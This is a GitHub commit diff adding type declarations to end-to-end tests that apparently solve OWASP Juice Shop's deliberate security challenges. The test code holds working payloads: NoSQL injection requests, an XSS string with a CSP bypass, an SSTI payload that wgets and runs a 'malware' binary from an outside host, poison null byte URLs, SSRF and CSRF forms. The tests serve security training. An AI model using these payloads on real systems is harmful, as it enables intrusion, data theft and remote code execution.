Skip to content

Commit

Permalink
Add type declarations to e2e tests
Browse files Browse the repository at this point in the history
  • Loading branch information
bkimminich committed Jan 4, 2022
1 parent fcf8c10 commit 9ae4fc3
Show file tree
Hide file tree
Showing 14 changed files with 190 additions and 170 deletions.
4 changes: 2 additions & 2 deletions test/e2e/geoStalkingSpec.ts
Original file line number Diff line number Diff line change
Expand Up @@ -12,9 +12,9 @@ describe('/#/photo-wall', () => {
const EC = protractor.ExpectedConditions

beforeEach(() => {
$('#logout').isPresent().then((result) => {
void $('#logout').isPresent().then((result) => {
if (result) {
$('#logout').click()
void $('#logout').click()
}
})
void browser.wait(EC.stalenessOf($('#logout')), 5000)
Expand Down
8 changes: 5 additions & 3 deletions test/e2e/metricsSpec.ts
Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,14 @@
* SPDX-License-Identifier: MIT
*/

import { browser, protractor } from 'protractor'

describe('/metrics/', () => {
describe('challenge "exposedMetrics"', () => {
it('Challenge is solved on accessing the /metrics route', () => {
browser.waitForAngularEnabled(false)
browser.get(`${protractor.basePath}/metrics`)
browser.waitForAngularEnabled(true)
void browser.waitForAngularEnabled(false)
void browser.get(`${protractor.basePath}/metrics`)
void browser.waitForAngularEnabled(true)
})

protractor.expect.challengeSolved({ challenge: 'Exposed Metrics' })
Expand Down
45 changes: 23 additions & 22 deletions test/e2e/noSqlSpec.ts
Original file line number Diff line number Diff line change
Expand Up @@ -4,20 +4,21 @@
*/

import config = require('config')
import { browser, protractor } from 'protractor'
const utils = require('../../lib/utils')

describe('/rest/products/reviews', () => {
beforeEach(() => {
browser.get(`${protractor.basePath}/#/search`)
void browser.get(`${protractor.basePath}/#/search`)
})

if (!utils.disableOnContainerEnv()) {
describe('challenge "NoSQL DoS"', () => {
protractor.beforeEach.login({ email: `admin@${config.get('application.domain')}`, password: 'admin123' })

it('should be possible to inject a command into the get route', () => {
browser.waitForAngularEnabled(false)
browser.executeScript(baseUrl => {
void browser.waitForAngularEnabled(false)
void browser.executeScript((baseUrl: string) => {
const xhttp = new XMLHttpRequest()
xhttp.onreadystatechange = function () {
if (this.status === 200) {
Expand All @@ -28,16 +29,16 @@ describe('/rest/products/reviews', () => {
xhttp.setRequestHeader('Content-type', 'text/plain')
xhttp.send()
}, browser.baseUrl)
browser.driver.sleep(5000)
browser.waitForAngularEnabled(true)
void browser.driver.sleep(5000)
void browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'NoSQL DoS' })
})

describe('challenge "NoSQL Exfiltration"', () => {
it('should be possible to inject and get all the orders', () => {
browser.waitForAngularEnabled(false)
browser.executeScript(baseUrl => {
void browser.waitForAngularEnabled(false)
void browser.executeScript((baseUrl: string) => {
const xhttp = new XMLHttpRequest()
xhttp.onreadystatechange = function () {
if (this.status === 200) {
Expand All @@ -48,19 +49,19 @@ describe('/rest/products/reviews', () => {
xhttp.setRequestHeader('Content-type', 'text/plain')
xhttp.send()
}, browser.baseUrl)
browser.driver.sleep(1000)
browser.waitForAngularEnabled(true)
void browser.driver.sleep(1000)
void browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'NoSQL Exfiltration' })
})
}

describe('challenge "NoSQL Manipulation"', () => {
it('should be possible to inject a selector into the update route', () => {
browser.waitForAngularEnabled(false)
browser.executeScript(`var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { console.log("Success"); } }; xhttp.open("PATCH","${browser.baseUrl}/rest/products/reviews", true); xhttp.setRequestHeader("Content-type","application/json"); xhttp.setRequestHeader("Authorization", \`Bearer $\{localStorage.getItem("token")}\`); xhttp.send(JSON.stringify({ "id": { "$ne": -1 }, "message": "NoSQL Injection!" }));`) // eslint-disable-line
browser.driver.sleep(1000)
browser.waitForAngularEnabled(true)
void browser.waitForAngularEnabled(false)
void browser.executeScript(`var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { console.log("Success"); } }; xhttp.open("PATCH","${browser.baseUrl}/rest/products/reviews", true); xhttp.setRequestHeader("Content-type","application/json"); xhttp.setRequestHeader("Authorization", \`Bearer $\{localStorage.getItem("token")}\`); xhttp.send(JSON.stringify({ "id": { "$ne": -1 }, "message": "NoSQL Injection!" }));`) // eslint-disable-line
void browser.driver.sleep(1000)
void browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'NoSQL Manipulation' })
})
Expand All @@ -69,8 +70,8 @@ describe('/rest/products/reviews', () => {
protractor.beforeEach.login({ email: `mc.safesearch@${config.get('application.domain')}`, password: 'Mr. N00dles' })

it('should be possible to edit any existing review', () => {
browser.waitForAngularEnabled(false)
browser.executeScript(baseUrl => {
void browser.waitForAngularEnabled(false)
void browser.executeScript((baseUrl: string) => {
const xhttp = new XMLHttpRequest()
xhttp.onreadystatechange = function () {
if (this.status === 200) {
Expand All @@ -96,8 +97,8 @@ describe('/rest/products/reviews', () => {
xhttp.send(JSON.stringify({ id: reviewId, message: 'injected' }))
}
}, browser.baseUrl)
browser.driver.sleep(5000)
browser.waitForAngularEnabled(true)
void browser.driver.sleep(5000)
void browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'Forged Review' })
})
Expand All @@ -106,8 +107,8 @@ describe('/rest/products/reviews', () => {
protractor.beforeEach.login({ email: `mc.safesearch@${config.get('application.domain')}`, password: 'Mr. N00dles' })

it('should be possible to like reviews multiple times', () => {
browser.waitForAngularEnabled(false)
browser.executeScript(baseUrl => {
void browser.waitForAngularEnabled(false)
void browser.executeScript((baseUrl: string) => {
const xhttp = new XMLHttpRequest()
xhttp.onreadystatechange = function () {
if (this.status === 200) {
Expand All @@ -122,7 +123,7 @@ describe('/rest/products/reviews', () => {
xhttp.setRequestHeader('Content-type', 'text/plain')
xhttp.send()

function sendPostRequest (reviewId) {
function sendPostRequest (reviewId: string) {
const xhttp = new XMLHttpRequest()
xhttp.onreadystatechange = function () {
if (this.status === 200) {
Expand All @@ -135,8 +136,8 @@ describe('/rest/products/reviews', () => {
xhttp.send(JSON.stringify({ id: reviewId }))
}
}, browser.baseUrl)
browser.driver.sleep(5000)
browser.waitForAngularEnabled(true)
void browser.driver.sleep(5000)
void browser.waitForAngularEnabled(true)
})

protractor.expect.challengeSolved({ challenge: 'Multiple Likes' })
Expand Down
4 changes: 3 additions & 1 deletion test/e2e/privacyPolicySpec.ts
Original file line number Diff line number Diff line change
Expand Up @@ -3,10 +3,12 @@
* SPDX-License-Identifier: MIT
*/

import { browser, protractor } from 'protractor'

describe('/#/privacy-security/privacy-policy', () => {
describe('challenge "privacyPolicy"', () => {
it('should be possible to access privacy policy', () => {
browser.get(`${protractor.basePath}/#/privacy-security/privacy-policy`)
void browser.get(`${protractor.basePath}/#/privacy-security/privacy-policy`)
expect(browser.getCurrentUrl()).toMatch(/\/privacy-policy/)
})

Expand Down
87 changes: 44 additions & 43 deletions test/e2e/profileSpec.ts
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
*/

import config = require('config')
import { browser, by, element, protractor } from 'protractor'
const utils = require('../../lib/utils')

describe('/profile', () => {
Expand All @@ -13,87 +14,87 @@ describe('/profile', () => {

describe('challenge "ssrf"', () => {
it('should be possible to request internal resources using image upload URL', () => {
browser.waitForAngularEnabled(false)
browser.get(`${protractor.basePath}/profile`)
void browser.waitForAngularEnabled(false)
void browser.get(`${protractor.basePath}/profile`)
url = element(by.id('url'))
submitButton = element(by.id('submitUrl'))
url.sendKeys(`${browser.baseUrl}/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3`)
submitButton.click()
browser.get(`${protractor.basePath}/`)
browser.driver.sleep(5000)
browser.waitForAngularEnabled(true)
void url.sendKeys(`${browser.baseUrl}/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3`)
void submitButton.click()
void browser.get(`${protractor.basePath}/`)
void browser.driver.sleep(5000)
void browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'SSRF' })
})

if (!utils.disableOnContainerEnv()) {
describe('challenge "usernameXss"', () => {
it('Username field should be susceptible to XSS attacks after disarming CSP via profile image URL', () => {
browser.waitForAngularEnabled(false)
browser.get(`${protractor.basePath}/profile`)
void browser.waitForAngularEnabled(false)
void browser.get(`${protractor.basePath}/profile`)

const EC = protractor.ExpectedConditions
url = element(by.id('url'))
setProfileImageButton = element(by.id('submitUrl'))
url.sendKeys("https://a.png; script-src 'unsafe-inline' 'self' 'unsafe-eval' https://code.getmdl.io http://ajax.googleapis.com")
setProfileImageButton.click()
browser.driver.sleep(5000)
void url.sendKeys("https://a.png; script-src 'unsafe-inline' 'self' 'unsafe-eval' https://code.getmdl.io http://ajax.googleapis.com")
void setProfileImageButton.click()
void browser.driver.sleep(5000)
username = element(by.id('username'))
submitButton = element(by.id('submit'))
username.sendKeys('<<a|ascript>alert(`xss`)</script>')
submitButton.click()
browser.wait(EC.alertIsPresent(), 10000, "'xss' alert is not present on /profile")
browser.switchTo().alert().then(alert => {
void username.sendKeys('<<a|ascript>alert(`xss`)</script>')
void submitButton.click()
void browser.wait(EC.alertIsPresent(), 10000, "'xss' alert is not present on /profile")
void browser.switchTo().alert().then(alert => {
expect(alert.getText()).toEqual('xss')
alert.accept()
void alert.accept()
})
username.clear()
username.sendKeys('αδмιη') // disarm XSS
submitButton.click()
url.sendKeys(`${browser.baseUrl}/assets/public/images/uploads/default.svg`)
setProfileImageButton.click()
browser.driver.sleep(5000)
browser.get(`${protractor.basePath}/#/`)
browser.waitForAngularEnabled(true)
void username.clear()
void username.sendKeys('αδмιη') // disarm XSS
void submitButton.click()
void url.sendKeys(`${browser.baseUrl}/assets/public/images/uploads/default.svg`)
void setProfileImageButton.click()
void browser.driver.sleep(5000)
void browser.get(`${protractor.basePath}/#/`)
void browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'CSP Bypass' })
})

describe('challenge "ssti"', () => {
it('should be possible to inject arbitrary nodeJs commands in username', () => {
browser.waitForAngularEnabled(false)
browser.get(`${protractor.basePath}/profile`)
void browser.waitForAngularEnabled(false)
void browser.get(`${protractor.basePath}/profile`)
username = element(by.id('username'))
submitButton = element(by.id('submit'))
username.sendKeys('#{global.process.mainModule.require(\'child_process\').exec(\'wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware\')}')
submitButton.click()
void username.sendKeys('#{global.process.mainModule.require(\'child_process\').exec(\'wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware\')}')
void submitButton.click()

browser.get(`${protractor.basePath}/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3`)
void browser.get(`${protractor.basePath}/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3`)

browser.get(`${protractor.basePath}/`)
browser.driver.sleep(10000)
browser.waitForAngularEnabled(true)
void browser.get(`${protractor.basePath}/`)
void browser.driver.sleep(10000)
void browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'SSTi' })
})
}

describe('challenge "csrf"', () => { // FIXME Only works on Chrome <80 but Protractor uses latest Chrome version. Test can probably never be turned on again.
xit('should be possible to perform a CSRF attack against the user profile page', () => {
browser.waitForAngularEnabled(false)
browser.driver.get('http://htmledit.squarefree.com')
browser.driver.sleep(1000)
void browser.waitForAngularEnabled(false)
void browser.driver.get('http://htmledit.squarefree.com')
void browser.driver.sleep(1000)
/* The script executed below is equivalent to pasting this string into http://htmledit.squarefree.com: */
/* <form action="http://localhost:3000/profile" method="POST"><input type="hidden" name="username" value="CSRF"/><input type="submit"/></form><script>document.forms[0].submit();</script> */
browser.executeScript(`document.getElementsByName('editbox')[0].contentDocument.getElementsByName('ta')[0].value = "<form action=\\"${browser.baseUrl}/profile\\" method=\\"POST\\"><input type=\\"hidden\\" name=\\"username\\" value=\\"CSRF\\"/><input type=\\"submit\\"/></form><script>document.forms[0].submit();</script>"`)
browser.driver.sleep(5000)
browser.waitForAngularEnabled(true)
void browser.executeScript(`document.getElementsByName('editbox')[0].contentDocument.getElementsByName('ta')[0].value = "<form action=\\"${browser.baseUrl}/profile\\" method=\\"POST\\"><input type=\\"hidden\\" name=\\"username\\" value=\\"CSRF\\"/><input type=\\"submit\\"/></form><script>document.forms[0].submit();</script>"`)
void browser.driver.sleep(5000)
void browser.waitForAngularEnabled(true)
})
// protractor.expect.challengeSolved({ challenge: 'CSRF' })

xit('should be possible to fake a CSRF attack against the user profile page', () => {
browser.waitForAngularEnabled(false)
browser.executeScript(baseUrl => {
void browser.waitForAngularEnabled(false)
void browser.executeScript(baseUrl => {
const xhttp = new XMLHttpRequest()
xhttp.onreadystatechange = function () {
if (this.status === 200) {
Expand All @@ -110,8 +111,8 @@ describe('/profile', () => {
xhttp.setRequestHeader('Cookie', `token=${localStorage.getItem('token')}`) // FIXME Not allowed by browser due to "unsafe header not permitted"
xhttp.send(formData) //eslint-disable-line
}, browser.baseUrl)
browser.driver.sleep(1000)
browser.waitForAngularEnabled(true)
void browser.driver.sleep(1000)
void browser.waitForAngularEnabled(true)
})
// protractor.expect.challengeSolved({ challenge: 'CSRF' })
})
Expand Down
18 changes: 10 additions & 8 deletions test/e2e/publicFtpSpec.ts
Original file line number Diff line number Diff line change
Expand Up @@ -3,20 +3,22 @@
* SPDX-License-Identifier: MIT
*/

import { browser, by, protractor } from 'protractor'

describe('/ftp', () => {
describe('challenge "confidentialDocument"', () => {
it('should be able to access file /ftp/acquisitions.md', () => {
browser.driver.get(`${browser.baseUrl}/ftp/acquisitions.md`)
void browser.driver.get(`${browser.baseUrl}/ftp/acquisitions.md`)
})

protractor.expect.challengeSolved({ challenge: 'Confidential Document' })
})

describe('challenge "errorHandling"', () => {
it('should leak information through error message accessing /ftp/easter.egg due to wrong file suffix', () => {
browser.driver.get(`${browser.baseUrl}/ftp/easter.egg`)
void browser.driver.get(`${browser.baseUrl}/ftp/easter.egg`)

browser.driver.findElements(by.id('stacktrace')).then(elements => {
void browser.driver.findElements(by.id('stacktrace')).then(elements => {
expect(!!elements.length).toBe(true)
})
})
Expand All @@ -26,39 +28,39 @@ describe('/ftp', () => {

describe('challenge "forgottenBackup"', () => {
it('should be able to access file /ftp/coupons_2013.md.bak with poison null byte attack', () => {
browser.driver.get(`${browser.baseUrl}/ftp/coupons_2013.md.bak%2500.md`)
void browser.driver.get(`${browser.baseUrl}/ftp/coupons_2013.md.bak%2500.md`)
})

protractor.expect.challengeSolved({ challenge: 'Forgotten Sales Backup' })
})

describe('challenge "forgottenDevBackup"', () => {
it('should be able to access file /ftp/package.json.bak with poison null byte attack', () => {
browser.driver.get(`${browser.baseUrl}/ftp/package.json.bak%2500.md`)
void browser.driver.get(`${browser.baseUrl}/ftp/package.json.bak%2500.md`)
})

protractor.expect.challengeSolved({ challenge: 'Forgotten Developer Backup' })
})

describe('challenge "easterEgg1"', () => {
it('should be able to access file /ftp/easter.egg with poison null byte attack', () => {
browser.driver.get(`${browser.baseUrl}/ftp/eastere.gg%2500.md`)
void browser.driver.get(`${browser.baseUrl}/ftp/eastere.gg%2500.md`)
})

protractor.expect.challengeSolved({ challenge: 'Easter Egg' })
})

describe('challenge "misplacedSiemFileChallenge"', () => {
it('should be able to access file /ftp/suspicious_errors.yml with poison null byte attack', () => {
browser.driver.get(`${browser.baseUrl}/ftp/suspicious_errors.yml%2500.md`)
void browser.driver.get(`${browser.baseUrl}/ftp/suspicious_errors.yml%2500.md`)
})

protractor.expect.challengeSolved({ challenge: 'Misplaced Signature File' })
})

describe('challenge "nullByteChallenge"', () => {
it('should be able to access file other than Markdown or PDF in /ftp with poison null byte attack', () => {
browser.driver.get(`${browser.baseUrl}/ftp/encrypt.pyc%2500.md`)
void browser.driver.get(`${browser.baseUrl}/ftp/encrypt.pyc%2500.md`)
})

protractor.expect.challengeSolved({ challenge: 'Poison Null Byte' })
Expand Down

0 comments on commit 9ae4fc3

Please sign in to comment.